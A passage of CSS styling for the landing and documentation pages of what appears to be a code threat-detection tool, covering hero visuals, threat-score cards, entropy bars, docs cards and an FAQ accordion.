{\n        opacity: 1;\n    }\n    50% {\n        opacity: 0;\n    }\n}\n\n\n/* ── FOUC prevention ─────────────────────────── */\n\nhtml.lang-loading {\n    visibility: hidden;\n}\n\n.nav__burger {\n    display: none;\n    background: none;\n    border: none;\n    color: var(--text-2);\n    cursor: pointer;\n}\n\n\n/* ── BUTTONS ─────────────────────────────────── */\n\n.btn {\n    display: inline-flex;\n    align-items: center;\n    gap: 8px;\n    padding: 12px 24px;\n    font-family: var(--font);\n    font-size: 14px;\n    font-weight: 600;\n    text-decoration: none;\n    cursor: pointer;\n    border: 1px solid transparent;\n    background: transparent;\n    transition: background var(--trans), color var(--trans), border-color var(--trans), box-shadow var(--trans), transform var(--trans);\n    position: relative;\n    overflow: hidden;\n    letter-spacing: .3px;\n}\n\n.btn::before {\n    content: '';\n    position: absolute;\n    inset: 0;\n    background: currentColor;\n    opacity: 0;\n    transition: opacity var(--trans);\n}\n\n.btn:hover::before {\n    opacity: .06;\n}\n\n.btn:active {\n    transform: scale(.97);\n}\n\n.btn--primary {\n    background: transparent;\n    border-color: var(--cyan);\n    color: var(--cyan);\n    box-shadow: inset 0 0 0 0 var(--cyan);\n}\n\n.btn--primary:hover {\n    background: var(--cyan);\n    color: var(--bg);\n    box-shadow: 0 0 28px rgba(0, 212, 255, .3);\n}\n\n.btn--ghost {\n    border-color: var(--border-2);\n    color: var(--text-2);\n}\n\n.btn--ghost:hover {\n    border-color: var(--border);\n    color: var(--text);\n}\n\n.btn--lg {\n    padding: 15px 32px;\n    font-size: 15px;\n}\n\n\n/* ── HERO ─────────────────────────────────────── */\n\n.hero {\n    min-height: 100vh;\n    padding: 120px 32px 80px;\n    max-width: 1200px;\n    margin: 0 auto;\n    display: grid;\n    grid-template-columns: 1fr 1fr;\n    gap: 64px;\n    align-items: center;\n    position: relative;\n}\n\n.hero__grid-overlay {\n    position: absolute;\n    inset: 0;\n    background-image: linear-gradient(rgba(0, 212, 255, .04) 1px, transparent 1px), linear-gradient(90deg, rgba(0, 212, 255, .04) 1px, transparent 1px);\n    background-size: 48px 48px;\n    pointer-events: none;\n    mask-image: radial-gradient(ellipse 80% 80% at 20% 50%, black 40%, transparent 100%);\n}\n\n.hero__badge {\n    display: inline-flex;\n    align-items: center;\n    gap: 8px;\n    padding: 6px 14px;\n    border: 1px solid rgba(0, 255, 136, 0.3);\n    background: rgba(0, 255, 136, 0.05);\n    font-size: 12px;\n    font-family: var(--mono);\n    color: var(--green);\n    margin-bottom: 28px;\n    text-transform: uppercase;\n    letter-spacing: .8px;\n}\n\n.hero__headline {\n    font-size: clamp(30px, 4vw, 52px);\n    font-weight: 700;\n    line-height: 1.18;\n    letter-spacing: -1.5px;\n    margin-bottom: 24px;\n    color: var(--text);\n}\n\n\n/* ── CRACKED WORD EFFECT ─────────────────────── */\n\n.cracked-word {\n    position: relative;\n    display: inline-block;\n    font-style: italic;\n    transform: rotate(-4deg) translateY(4px);\n    transform-origin: left bottom;\n    color: transparent;\n    padding: 2px 8px;\n    margin: 0 4px;\n}\n\n.cracked-word::before,\n.cracked-word::after {\n    content: attr(data-text);\n    position: absolute;\n    left: 8px;\n    top: 2px;\n    font-style: italic;\n}\n\n.cracked-word::before {\n    color: var(--red);\n    clip-path: polygon(-20% 0, 120% 0, 120% 46%, -20% 48%);\n    filter: drop-shadow(0 0 6px rgba(255, 51, 102, .5));\n}\n\n.cracked-word::after {\n    color: var(--red);\n    clip-path: polygon(-20% 52%, 120% 50%, 120% 100%, -20% 100%);\n    transform: translateX(3px);\n    filter: blur(.4px) drop-shadow(0 0 6px rgba(255, 51, 102, .5));\n}\n\n.cracked-word .crack-line {\n    position: absolute;\n    top: 47%;\n    left: -2px;\n    right: -2px;\n    height: 2px;\n    background: linear-gradient(90deg, transparent 0%, var(--red) 20%, #fff 48%, var(--red) 70%, transparent 100%);\n    transform: rotate(-.8deg);\n    box-shadow: 0 0 8px var(--red);\n    will-change: opacity;\n}\n\n.cracked-word--lg {\n    font-size: 1.3em;\n}\n\n\n/* ── HERO SUB, ACTIONS, STATS ────────────────── */\n\n.hero__sub {\n    color: var(--text-2);\n    font-size: 16px;\n    max-width: 520px;\n    margin-bottom: 36px;\n    line-height: 1.7;\n}\n\n.hero__sub strong {\n    color: var(--cyan);\n    font-weight: 600;\n}\n\n.hero__actions {\n    display: flex;\n    gap: 12px;\n    flex-wrap: wrap;\n    margin-bottom: 48px;\n}\n\n.hero__stats {\n    display: grid;\n    grid-template-columns: 1fr 1fr;\n    gap: 1px;\n    background: var(--border);\n    border: 1px solid var(--border);\n    margin-top: 0;\n}\n\n.stat-pill {\n    display: flex;\n    flex-direction: column;\n    gap: 6px;\n    padding: 18px 20px;\n    background: var(--bg);\n    transition: background var(--trans);\n}\n\n.stat-pill:hover {\n    background: rgba(0, 212, 255, 0.03);\n}\n\n.stat-pill__value {\n    display: flex;\n    align-items: baseline;\n    gap: 3px;\n    line-height: 1;\n}\n\n.stat-pill__num {\n    font-family: var(--mono);\n    font-size: 26px;\n    font-weight: 700;\n    color: var(--cyan);\n    line-height: 1;\n}\n\n.stat-pill__unit {\n    font-family: var(--mono);\n    font-size: 16px;\n    font-weight: 700;\n    color: var(--cyan);\n    line-height: 1;\n}\n\n.stat-pill__label {\n    font-size: 10px;\n    color: var(--text-3);\n    text-transform: uppercase;\n    letter-spacing: .8px;\n}\n\n\n/* ── THREAT CARD (hero visual) ───────────────── */\n\n.hero__visual {\n    display: flex;\n    justify-content: center;\n    align-items: center;\n}\n\n.threat-card {\n    border: 2px solid rgba(0, 255, 136, .25);\n    padding: 24px;\n    width: 100%;\n    max-width: 460px;\n    box-shadow: 0 0 40px rgba(0, 255, 136, .06), 0 0 0 1px rgba(0, 255, 136, .08) inset;\n    animation: cardFloat 5s ease-in-out infinite;\n    transition: border-color 1.6s ease, box-shadow 1.6s ease;\n}\n\n@keyframes cardFloat {\n    0%,\n    100% {\n        transform: translateY(0);\n    }\n    50% {\n        transform: translateY(-10px);\n    }\n}\n\n.threat-card__header {\n    display: flex;\n    align-items: center;\n    gap: 10px;\n    margin-bottom: 16px;\n    font-family: var(--mono);\n    font-size: 13px;\n    color: #4ade80;\n    text-transform: uppercase;\n    letter-spacing: .8px;\n    transition: color 1.6s ease;\n}\n\n.threat-card__score {\n    margin-left: auto;\n    font-size: 18px;\n    font-weight: 700;\n    color: #4ade80;\n    transition: color 1.6s ease;\n}\n\n#heroThreatLabel {\n    transition: color 1.6s ease;\n}\n\n.threat-card__code {\n    font-family: var(--mono);\n    font-size: 12px;\n    line-height: 1.6;\n    color: #64748b;\n    background: rgba(0, 0, 0, .3);\n    padding: 16px;\n    margin-bottom: 16px;\n    height: 290px;\n    border-left: 2px solid rgba(74, 222, 128, .25);\n    overflow: hidden;\n    white-space: pre-wrap;\n    transition: border-left-color 1.6s ease;\n}\n\n.threat-card__rules {\n    display: flex;\n    flex-direction: column;\n    margin-bottom: 16px;\n}\n\n.rule-item {\n    display: flex;\n    align-items: center;\n    gap: 10px;\n    font-size: 13px;\n    color: var(--text-2);\n    opacity: 0;\n    max-height: 0;\n    overflow: hidden;\n    margin-bottom: 0;\n    transition: max-height .45s cubic-bezier(0, 1, .4, 1),\n                opacity    .45s ease,\n                margin-bottom .45s ease;\n}\n\n.rule-item.rule-visible {\n    opacity: 1;\n    max-height: 32px;\n    margin-bottom: 8px;\n}\n\n.rule-pct {\n    margin-left: auto;\n    font-family: var(--mono);\n    font-size: 12px;\n    color: var(--red);\n    transition: color .3s;\n}\n\n.rule-dot {\n    width: 6px;\n    height: 6px;\n    flex-shrink: 0;\n}\n\n.rule-item--high .rule-dot {\n    background: var(--red);\n    box-shadow: 0 0 6px var(--red);\n}\n\n.rule-item--med .rule-dot {\n    background: var(--orange);\n    box-shadow: 0 0 6px var(--orange);\n}\n\n\n\n.threat-card__bar {\n    height: 3px;\n    background: rgba(255, 51, 102, .15);\n    overflow: hidden;\n}\n\n.threat-card__bar-fill {\n    height: 100%;\n    background: linear-gradient(90deg, #4ade80, #22c55e);\n    width: 0;\n    transition: width 1.1s cubic-bezier(.4, 0, .2, 1);\n    box-shadow: 0 0 8px rgba(74, 222, 128, .5);\n}\n\n.hero__scroll-hint {\n    position: absolute;\n    bottom: 32px;\n    left: 50%;\n    transform: translateX(-50%);\n    color: var(--text-3);\n    grid-column: 1 / -1;\n    animation: arrowBounce 1.8s ease-in-out infinite;\n}\n\n@keyframes arrowBounce {\n    0%, 100% { transform: translateX(-50%) translateY(0);   opacity: .45; }\n    50%       { transform: translateX(-50%) translateY(6px); opacity: 1;   }\n}\n\n\n/* ── MARQUEE ─────────────────────────────────── */\n\n.marquee-strip {\n    border-top: 1px solid var(--border);\n    border-bottom: 1px solid var(--border);\n    background: rgba(0, 212, 255, .03);\n    overflow: hidden;\n    padding: 12px 0;\n    position: relative;\n    z-index: 1;\n}\n\n.marquee-track {\n    display: flex;\n    gap: 28px;\n    width: max-content;\n    animation: marquee 40s linear infinite;\n}\n\n.marquee-track span {\n    font-family: var(--mono);\n    font-size: 12px;\n    color: var(--text-3);\n    white-space: nowrap;\n    text-transform: uppercase;\n    letter-spacing: .8px;\n}\n\n.marquee-track .sep {\n    color: var(--cyan);\n    opacity: .4;\n}\n\n@keyframes marquee {\n    from {\n        transform: translateX(0);\n    }\n    to {\n        transform: translateX(-50%);\n    }\n}\n\n\n\n\n/* ── SECTIONS ────────────────────────────────── */\n\n.section {\n    padding: 100px 0;\n    position: relative;\n    z-index: 1;\n}\n\n.section--dark {\n    background: var(--bg-2);\n    border-top: 1px solid var(--border-2);\n    border-bottom: 1px solid var(--border-2);\n}\n\n.section__label {\n    font-family: var(--mono);\n    font-size: 11px;\n    color: var(--cyan);\n    text-transform: uppercase;\n    letter-spacing: 2px;\n    margin-bottom: 16px;\n    display: flex;\n    align-items: center;\n    gap: 12px;\n}\n\n.section__label::before {\n    content: '';\n    display: block;\n    width: 28px;\n    height: 1px;\n    background: var(--cyan);\n}\n\n.section__title {\n    font-size: clamp(28px, 3.5vw, 46px);\n    font-weight: 700;\n    letter-spacing: -1.5px;\n    line-height: 1.15;\n    margin-bottom: 20px;\n}\n\n.section__desc {\n    color: var(--text-2);\n    font-size: 16px;\n    max-width: 640px;\n    margin-bottom: 56px;\n    line-height: 1.7;\n}\n\n\n/* ── PIPELINE ────────────────────────────────── */\n\n.pipeline {\n    display: flex;\n    align-items: flex-start;\n    gap: 0;\n    margin-top: 56px;\n    flex-wrap: wrap;\n}\n\n.pipeline__step {\n    flex: 1;\n    min-width: 160px;\n    padding: 28px 24px;\n    background: var(--bg-card);\n    border: 1px solid var(--border);\n    position: relative;\n    transition: border-color var(--trans), box-shadow var(--trans);\n}\n\n.pipeline__step:hover {\n    border-color: rgba(0, 212, 255, .4);\n    box-shadow: 0 0 24px rgba(0, 212, 255, .06);\n}\n\n.pipeline__step::before {\n    content: attr(data-step);\n    position: absolute;\n    top: 12px;\n    right: 16px;\n    font-family: var(--mono);\n    font-size: 10px;\n    color: var(--text-3);\n    letter-spacing: 1px;\n}\n\n.pipeline__icon {\n    margin-bottom: 16px;\n}\n\n.pipeline__step h3 {\n    font-size: 15px;\n    font-weight: 600;\n    margin-bottom: 10px;\n    color: var(--text);\n}\n\n.pipeline__step p {\n    font-size: 13px;\n    color: var(--text-2);\n    line-height: 1.6;\n}\n\n.pipeline__arrow {\n    display: flex;\n    align-items: center;\n    padding: 0 4px;\n    margin-top: 60px;\n    color: var(--cyan);\n    opacity: .5;\n    flex-shrink: 0;\n}\n\n\n/* ── ALGORITHM GRID ──────────────────────────── */\n\n.algo-grid {\n    display: grid;\n    grid-template-columns: 1fr 1fr;\n    gap: 24px;\n    margin-top: 56px;\n}\n\n.algo-card {\n    background: var(--bg-card);\n    border: 1px solid var(--border);\n    padding: 32px;\n    transition: border-color var(--trans);\n}\n\n.algo-card:hover {\n    border-color: rgba(0, 212, 255, .3);\n}\n\n.algo-card--wide {\n    grid-column: 1 / -1;\n}\n\n.algo-card__label {\n    font-family: var(--mono);\n    font-size: 10px;\n    color: var(--cyan);\n    text-transform: uppercase;\n    letter-spacing: 1.5px;\n    margin-bottom: 10px;\n}\n\n.algo-card h3 {\n    font-size: 22px;\n    font-weight: 700;\n    letter-spacing: -.5px;\n    margin-bottom: 12px;\n}\n\n.algo-card>p {\n    font-size: 14px;\n    color: var(--text-2);\n    margin-bottom: 28px;\n    line-height: 1.65;\n}\n\n\n/* ── NEURAL NET DIAGRAM ──────────────────────── */\n\n.nn-diagram {\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    gap: 0;\n    background: rgba(0, 0, 0, .25);\n    padding: 24px 16px;\n    border: 1px solid var(--border-2);\n    overflow-x: auto;\n    margin-bottom: 24px;\n}\n\n@media (max-width: 768px) {\n    .nn-diagram {\n        display: none;\n    }\n}\n\n.nn-col {\n    display: flex;\n    flex-direction: column;\n    align-items: center;\n    gap: 8px;\n    min-width: 80px;\n}\n\n.nn-label {\n    font-family: var(--mono);\n    font-size: 10px;\n    color: var(--cyan);\n    text-align: center;\n    text-transform: uppercase;\n    letter-spacing: .8px;\n    line-height: 1.4;\n}\n\n.nn-sublabel {\n    font-size: 11px;\n    color: var(--text-3);\n    text-align: center;\n}\n\n.nn-canvas {\n    display: block;\n}\n\n.nn-params {\n    display: grid;\n    grid-template-columns: repeat(4, 1fr);\n    gap: 12px;\n}\n\n.nn-param {\n    padding: 12px 16px;\n    background: rgba(0, 0, 0, .2);\n    border: 1px solid var(--border-2);\n    display: flex;\n    flex-direction: column;\n    gap: 4px;\n}\n\n.nn-param span {\n    font-size: 12px;\n    color: var(--text-3);\n}\n\n.nn-param strong {\n    font-family: var(--mono);\n    font-size: 14px;\n    color: var(--text);\n}\n\n.nn-param--total {\n    border-color: rgba(0, 212, 255, .3);\n}\n\n.nn-param--total strong {\n    color: var(--cyan);\n}\n\n\n/* ── FEATURE BARS ────────────────────────────── */\n\n.features-visual {\n    margin-top: 8px;\n}\n\n.feat-bar-group {\n    display: flex;\n    flex-direction: column;\n    gap: 10px;\n}\n\n.feat-bar {\n    display: grid;\n    grid-template-columns: 72px 1fr 40px;\n    align-items: center;\n    gap: 10px;\n}\n\n.feat-bar span {\n    font-family: var(--mono);\n    font-size: 11px;\n    color: var(--text-3);\n    text-align: right;\n}\n\n.feat-bar__fill {\n    height: 6px;\n    background: rgba(255, 255, 255, .05);\n    position: relative;\n    overflow: hidden;\n}\n\n.feat-bar__fill::after {\n    content: '';\n    position: absolute;\n    left: 0;\n    top: 0;\n    bottom: 0;\n    width: var(--v);\n    background: var(--c);\n    box-shadow: 0 0 8px var(--c);\n    animation: barIn 1.2s cubic-bezier(.4, 0, .2, 1) forwards;\n}\n\n@keyframes barIn {\n    from {\n        width: 0;\n    }\n}\n\n.feat-bar em {\n    font-style: normal;\n    font-family: var(--mono);\n    font-size: 11px;\n    color: var(--c);\n}\n\n\n/* ── ENTROPY VISUAL ──────────────────────────── */\n\n.entropy-visual {\n    display: flex;\n    flex-direction: column;\n    gap: 12px;\n}\n\n.entropy-row {\n    display: grid;\n    grid-template-columns: 130px 1fr 52px;\n    align-items: center;\n    gap: 12px;\n}\n\n.entropy-code {\n    font-family: var(--mono);\n    font-size: 11px;\n    color: var(--text-3);\n    text-align: right;\n    white-space: nowrap;\n    overflow: hidden;\n    text-overflow: ellipsis;\n}\n\n.entropy-bar {\n    height: 6px;\n    background: rgba(255, 255, 255, .05);\n    overflow: hidden;\n}\n\n.entropy-fill {\n    height: 100%;\n    background: var(--c);\n    box-shadow: 0 0 8px var(--c);\n    transition: width 1.4s cubic-bezier(.4, 0, .2, 1);\n    width: 0;\n}\n\n.entropy-val {\n    font-family: var(--mono);\n    font-size: 11px;\n    color: var(--text-3);\n    white-space: nowrap;\n}\n\n.entropy-val.safe {\n    color: var(--green);\n}\n\n.entropy-val.warn {\n    color: var(--orange);\n}\n\n.entropy-val.crit {\n    color: var(--red);\n}\n\n\n/* ── THREAT LEVEL VISUAL ─────────────────────── */\n\n.levels-visual {\n    display: flex;\n    flex-direction: column;\n    gap: 10px;\n}\n\n.level-row {\n    display: grid;\n    grid-template-columns: 88px 80px 1fr;\n    align-items: center;\n    gap: 14px;\n}\n\n.level-badge {\n    padding: 3px 8px;\n    font-family: var(--mono);\n    font-size: 10px;\n    font-weight: 700;\n    letter-spacing: 1px;\n    text-align: center;\n    text-transform: uppercase;\n}\n\n.level-badge.safe {\n    border: 1px solid var(--green);\n    color: var(--green);\n    background: rgba(0, 255, 136, .07);\n}\n\n.level-badge.low {\n    border: 1px solid var(--cyan);\n    color: var(--cyan);\n    background: rgba(0, 212, 255, .07);\n}\n\n.level-badge.med {\n    border: 1px solid var(--amber);\n    color: var(--amber);\n    background: rgba(245, 158, 11, .07);\n}\n\n.level-badge.high {\n    border: 1px solid var(--orange);\n    color: var(--orange);\n    background: rgba(255, 102, 0, .07);\n}\n\n.level-badge.crit {\n    border: 1px solid var(--red);\n    color: var(--red);\n    background: rgba(255, 51, 102, .1);\n}\n\n.level-range {\n    font-family: var(--mono);\n    font-size: 11px;\n    color: var(--text-3);\n}\n\n.level-desc {\n    font-size: 12px;\n    color: var(--text-2);\n}\n\n\n/* ── SCORE FORMULA ──────────────────────────── */\n\n.score-formula {\n    display: flex;\n    flex-direction: column;\n    gap: 10px;\n    margin-top: 8px;\n}\n\n.score-formula__row {\n    display: grid;\n    grid-template-columns: 72px 1fr 52px;\n    align-items: center;\n    gap: 10px;\n}\n\n.sf-label {\n    font-family: var(--mono);\n    font-size: 11px;\n    color: var(--text-3);\n    text-align: right;\n}\n\n.sf-bar {\n    height: 6px;\n    background: rgba(255, 255, 255, .05);\n    overflow: hidden;\n}\n\n.sf-fill {\n    height: 100%;\n    background: var(--c);\n    box-shadow: 0 0 8px var(--c);\n    width: var(--w);\n    animation: barIn 1.2s cubic-bezier(.4, 0, .2, 1) forwards;\n}\n\n.sf-weight {\n    font-family: var(--mono);\n    font-size: 11px;\n    color: var(--text-2);\n    text-align: right;\n}\n\n.score-formula__divider {\n    height: 1px;\n    background: var(--border-2);\n    margin: 4px 0;\n}\n\n.score-formula__result {\n    display: flex;\n    align-items: center;\n    justify-content: space-between;\n    padding: 8px 12px;\n    background: rgba(0, 212, 255, .05);\n    border: 1px solid rgba(0, 212, 255, .15);\n}\n\n.score-formula__result>span:first-child {\n    font-family: var(--mono);\n    font-size: 11px;\n    color: var(--cyan);\n    text-transform: uppercase;\n    letter-spacing: 1px;\n}\n\n.sf-example {\n    font-family: var(--mono);\n    font-size: 11px;\n    color: var(--text-2);\n}\n\n.score-formula__note {\n    font-size: 11px;\n    color: var(--text-3);\n    line-height: 1.5;\n    padding-top: 4px;\n}\n\n\n/* ── OBFUSC GRID ─────────────────────────────── */\n\n.obfusc-grid {\n    display: grid;\n    grid-template-columns: repeat(3, 1fr);\n    gap: 20px;\n    margin-top: 8px;\n}\n\n.obfusc-item {\n    padding: 20px;\n    border: 1px solid var(--border-2);\n    background: rgba(0, 0, 0, .2);\n    display: flex;\n    flex-direction: column;\n    gap: 8px;\n    transition: border-color var(--trans);\n}\n\n.obfusc-item:hover {\n    border-color: var(--border);\n}\n\n.obfusc-icon {\n    color: var(--text-3);\n}\n\n.obfusc-item strong {\n    font-size: 14px;\n    color: var(--text);\n}\n\n.obfusc-item code {\n    font-family: var(--mono);\n    font-size: 11px;\n    color: var(--amber);\n    background: rgba(245, 158, 11, .08);\n    padding: 2px 6px;\n    white-space: nowrap;\n}\n\n.obfusc-item span {\n    font-size: 12px;\n    color: var(--text-3);\n    line-height: 1.5;\n}\n\n\n/* ── DOCS QUICKSTART ─────────────────────────── */\n\n.docs-quickstart {\n    display: flex;\n    align-items: stretch;\n    gap: 0;\n    margin-bottom: 48px;\n    flex-wrap: wrap;\n}\n\n.docs-qs-step {\n    flex: 1;\n    min-width: 200px;\n    display: flex;\n    gap: 16px;\n    background: var(--bg-card);\n    border: 1px solid var(--border);\n    padding: 24px 20px;\n    transition: border-color var(--trans);\n}\n\n.docs-qs-step:hover {\n    border-color: rgba(0, 212, 255, .35);\n}\n\n.docs-qs-num {\n    font-family: var(--mono);\n    font-size: 28px;\n    font-weight: 700;\n    color: rgba(0, 212, 255, .15);\n    line-height: 1;\n    flex-shrink: 0;\n    letter-spacing: -1px;\n}\n\n.docs-qs-body strong {\n    display: block;\n    font-size: 14px;\n    color: var(--text);\n    margin-bottom: 8px;\n}\n\n.docs-qs-body p {\n    font-size: 13px;\n    color: var(--text-2);\n    line-height: 1.6;\n}\n\n.docs-qs-body code {\n    font-family: var(--mono);\n    font-size: 12px;\n    color: var(--amber);\n    background: rgba(245, 158, 11, .08);\n    padding: 1px 5px;\n}\n\n.docs-qs-arrow {\n    display: flex;\n    align-items: center;\n    padding: 0 6px;\n    color: rgba(0, 212, 255, .35);\n    flex-shrink: 0;\n}\n\n\n/* ── DOCS GRID ───────────────────────────────── */\n\n.docs-grid {\n    display: grid;\n    grid-template-columns: repeat(3, 1fr);\n    gap: 20px;\n    margin-bottom: 56px;\n}\n\n.docs-card {\n    background: var(--bg-card);\n    border: 1px solid var(--border);\n    padding: 28px;\n    display: flex;\n    flex-direction: column;\n    gap: 12px;\n    transition: border-color var(--trans);\n}\n\n.docs-card:hover {\n    border-color: rgba(0, 212, 255, .3);\n}\n\n.docs-card__icon {\n    flex-shrink: 0;\n}\n\n.docs-card__label {\n    font-family: var(--mono);\n    font-size: 10px;\n    color: var(--text-3);\n    text-transform: uppercase;\n    letter-spacing: 1.2px;\n}\n\n.docs-card h3 {\n    font-size: 17px;\n    font-weight: 700;\n    color: var(--text);\n    letter-spacing: -.3px;\n}\n\n.docs-card>p {\n    font-size: 13px;\n    color: var(--text-2);\n    line-height: 1.65;\n}\n\n.docs-card code {\n    font-family: var(--mono);\n    font-size: 11px;\n    color: var(--amber);\n    background: rgba(245, 158, 11, .08);\n    padding: 1px 5px;\n}\n\n.docs-card__hint {\n    margin-top: auto;\n    display: flex;\n    align-items: center;\n    gap: 7px;\n    font-size: 12px;\n    color: var(--amber);\n    background: rgba(245, 158, 11, .06);\n    border: 1px solid rgba(245, 158, 11, .15);\n    padding: 8px 12px;\n}\n\n\n/* Threat level mini */\n\n.docs-card__threat-mini {\n    display: flex;\n    flex-direction: column;\n    gap: 7px;\n    margin-top: auto;\n}\n\n.dtm-row {\n    display: flex;\n    align-items: center;\n    gap: 12px;\n    font-family: var(--mono);\n    font-size: 11px;\n    color: var(--text-3);\n}\n\n\n/* Score mini bars */\n\n.docs-card__scores {\n    display: flex;\n    flex-direction: column;\n    gap: 10px;\n    margin-top: auto;\n}\n\n.dcs-row {\n    display: grid;\n    grid-template-columns: 1fr 80px 36px;\n    align-items: center;\n    gap: 10px;\n}\n\n.dcs-row>span {\n    font-size: 11px;\n    color: var(--text-3);\n}\n\n.dcs-bar {\n    height: 5px;\n    background: rgba(255, 255, 255, .05);\n    overflow: hidden;\n}\n\n.dcs-fill {\n    height: 100%;\n    width: var(--w);\n    background: var(--c);\n    box-shadow: 0 0 6px var(--c);\n    animation: barIn 1.2s ease forwards;\n}\n\n.dcs-val {\n    font-family: var(--mono);\n    font-size: 11px;\n    text-align: right;\n}\n\n\n/* Triggered Rules demo */\n\n.docs-card__rules-demo {\n    display: flex;\n    flex-direction: column;\n    gap: 8px;\n    margin-top: auto;\n}\n\n.drd-row {\n    display: flex;\n    align-items: center;\n    gap: 8px;\n    font-size: 12px;\n    color: var(--text-2);\n}\n\n.drd-dot {\n    width: 6px;\n    height: 6px;\n    flex-shrink: 0;\n}\n\n.drd-row--crit .drd-dot {\n    background: var(--red);\n    box-shadow: 0 0 5px var(--red);\n}\n\n.drd-row--high .drd-dot {\n    background: var(--orange);\n    box-shadow: 0 0 5px var(--orange);\n}\n\n.drd-row--med .drd-dot {\n    background: var(--amber);\n    box-shadow: 0 0 5px var(--amber);\n}\n\n.drd-row--crit .drd-name {\n    color: var(--red);\n}\n\n.drd-row--high .drd-name {\n    color: var(--orange);\n}\n\n.drd-name {\n    flex: 1;\n    font-size: 12px;\n}\n\n.drd-sev {\n    font-family: var(--mono);\n    font-size: 11px;\n    color: var(--text-3);\n}\n\n\n/* Detected Features demo */\n\n.docs-card__features-demo {\n    margin-top: auto;\n    border: 1px solid var(--border-2);\n    overflow: hidden;\n}\n\n.dfd-header {\n    display: grid;\n    grid-template-columns: 1fr 40px 1fr;\n    gap: 8px;\n    padding: 6px 10px;\n    background: rgba(0, 212, 255, .05);\n    font-family: var(--mono);\n    font-size: 10px;\n    color: var(--text-3);\n    text-transform: uppercase;\n    letter-spacing: .8px;\n}\n\n.dfd-row {\n    display: grid;\n    grid-template-columns: 1fr 40px 1fr;\n    gap: 8px;\n    padding: 5px 10px;\n    font-size: 11px;\n    color: var(--text-2);\n    border-top: 1px solid var(--border-2);\n}\n\n.dfd-row strong {\n    font-family: var(--mono);\n    color: var(--cyan);\n    font-size: 11px;\n    text-align: center;\n}\n\n\n/* System Monitor demo */\n\n.docs-card__sysmon {\n    margin-top: auto;\n    display: flex;\n    gap: 16px;\n    background: rgba(0, 0, 0, .3);\n    border: 1px solid var(--border-2);\n    padding: 14px;\n}\n\n.dsm-group {\n    flex: 1;\n    display: flex;\n    flex-direction: column;\n    gap: 5px;\n}\n\n.dsm-title {\n    font-family: var(--mono);\n    font-size: 10px;\n    color: var(--cyan);\n    margin-bottom: 4px;\n    text-transform: uppercase;\n    letter-spacing: .8px;\n}\n\n.dsm-row {\n    display: flex;\n    justify-content: space-between;\n    font-family: var(--mono);\n    font-size: 11px;\n}\n\n.dsm-row span {\n    color: var(--text-3);\n}\n\n.dsm-row strong {\n    color: var(--text-2);\n    font-weight: 400;\n}\n\n.dsm-accent {\n    color: var(--green) !important;\n}\n\n.dsm-warn {\n    color: var(--orange) !important;\n}\n\n\n/* ── FAQ ACCORDION ───────────────────────────── */\n\n.docs-faq {}\n\n.docs-faq__title {\n    font-family: var(--mono);\n    font-size: 11px;\n    color: var(--cyan);\n    text-transform: uppercase;\n    letter-spacing: 2px;\n    margin-bottom: 16px;\n    display: flex;\n    align-items: center;\n    gap: 12px;\n}\n\n.docs-faq__title::before {\n    content: '';\n    display: block;\n    width: 28px;\n    height: 1px;\n    background: var(--cyan);\n}\n\n.faq-item {\n    border-top: 1px solid var(--border-2);\n}\n\n.faq-item:last-child {\n    border-bottom: 1px solid var(--border-2);\n}\n\n.faq-item__q {\n    width: 100%;\n    display: flex;\n    align-items: center;\n    gap: 12px;\n    padding: 17px 0;\n    background: transparent;\n    border: none;\n    color: var(--text);\n    font-family: var(--font);\n    font-size: 15px;\n    font-weight: 500;\n    text-align: left;\n    cursor: pointer;\n    transition: color var(--trans);\n}\n\n.faq-item__q:hover {\n    color: var(--cyan);\n}\n\n.faq-item__q svg {\n    flex-shrink: 0;\n    color: var(--text-3);\n    transition: transform var(--trans);\n}\n\n.faq-item__q[aria-expanded=\"true\"] svg {\n    transform: rotate(180deg);\n}\n\n.faq-item__q[aria-expanded=\"true\"] {\n    color: var(--cyan);\n}\n\n.faq-item__q code {\n    font-family: var(--mono);\n    font-size: 13px;\n    color: var(--amber);\n    background: rgba(245, 158, 11, .1);\n    padding: 1px 6px;\n}\n\n.faq-item__a {\n    font-size: 14px;\n    color: var(--text-2);\n    line-height: 1.7;\n    overflow: hidden;\n    max-height: 0;\n    transition: max-height .35s cubic-bezier(.4, 0, .2, 1), padding .35s;\n    padding: 0 0 0 28px;\n}\n\n.faq-item__a code {\n    font-family: var(--mono);\n    font-size: 12px;\n    color: var(--amber);\n    background: rgba(245, 158, 11, .08);\n    padding: 1px 5px;\n}\n\n.faq-item--open .faq-item__a {\n    max-height: 280px;\n    padding-bottom: 18px;\n}\n\n\n/* Responsive docs */\n\n@media (max-width: 1024px) {\n    .docs-grid {\n        grid-template-columns: repeat(2, 1fr);\n    }\n}\n\n@media (max-width: 768px) {\n    .docs-grid {\n        grid-template-columns: 1fr;\n    }\n    .docs-quickstart {\n        flex-direction: column;\n    }\n    .docs-qs-arrow {\n        display: none;\n    }\n}\n\n\n/* ── SHOWCASE ────────────────────────────────── */\n\n.highlight-slash {\n    position: relative;\n    display: inline-block;\n    color: var(--red);\n    font-style: italic;\n}\n\n.highlight-slash::after {\n    content: '';\n    position: absolute;\n    bottom: -2px;\n    left: 0;\n    right: 0;\n    height: 3px;\n    background: var(--red);\n    box-shadow: 0 0 10px var(--red);\n}\n\n.showcase-grid {\n    display: grid;\n    grid-template-columns: repeat(3, 1fr);\n    gap: 24px;\n    margin-top: 56px;\n}\n\n.showcase-item {\n    background: var(--bg-card);\n    border: 1px solid var(--border-2);\n    padding: 24px;\n    transition: border-color var(--trans);\n}\n\n.showcase-item:hover {\n    border-color: rgba(255, 51, 102, .3);\n}\n\n.showcase-item__header {\n    display: flex;\n    align-items: center;\n    gap: 12px;\n    margin-bottom: 16px;\n    font-size: 13px;\n    color: var(--text-2);\n    font-family: var(--mono);\n}\n\n.showcase-code {\n    background: #060911;\n    border: 1px solid var(--border-2);\n    padding: 16px;\n    overflow-x: auto;\n    font-family: var(--mono);\n    font-size: 12px;\n    line-height: 1.7;\n    margin-bottom: 16px;\n}\n\n.c-comment {\n    color: #4a5978;\n}\n\n.c-kw {\n    color: #00d4ff;\n}\n\n.c-fn {\n    color: #a78bfa;\n}\n\n.c-str {\n    color: #f59e0b;\n}\n\n.showcase-item__score {\n    display: flex;\n    align-items: center;\n    gap: 12px;\n}\n\n.score-bar {\n    flex: 1;\n    height: 4px;\n    background: rgba(255, 51, 102, .1);\n    position: relative;\n    overflow: hidden;\n    display: block;\n}\n\n.score-bar::after {\n    content: '';\n    position: absolute;\n    inset: 0;\n    background: linear-gradient(90deg, var(--red), 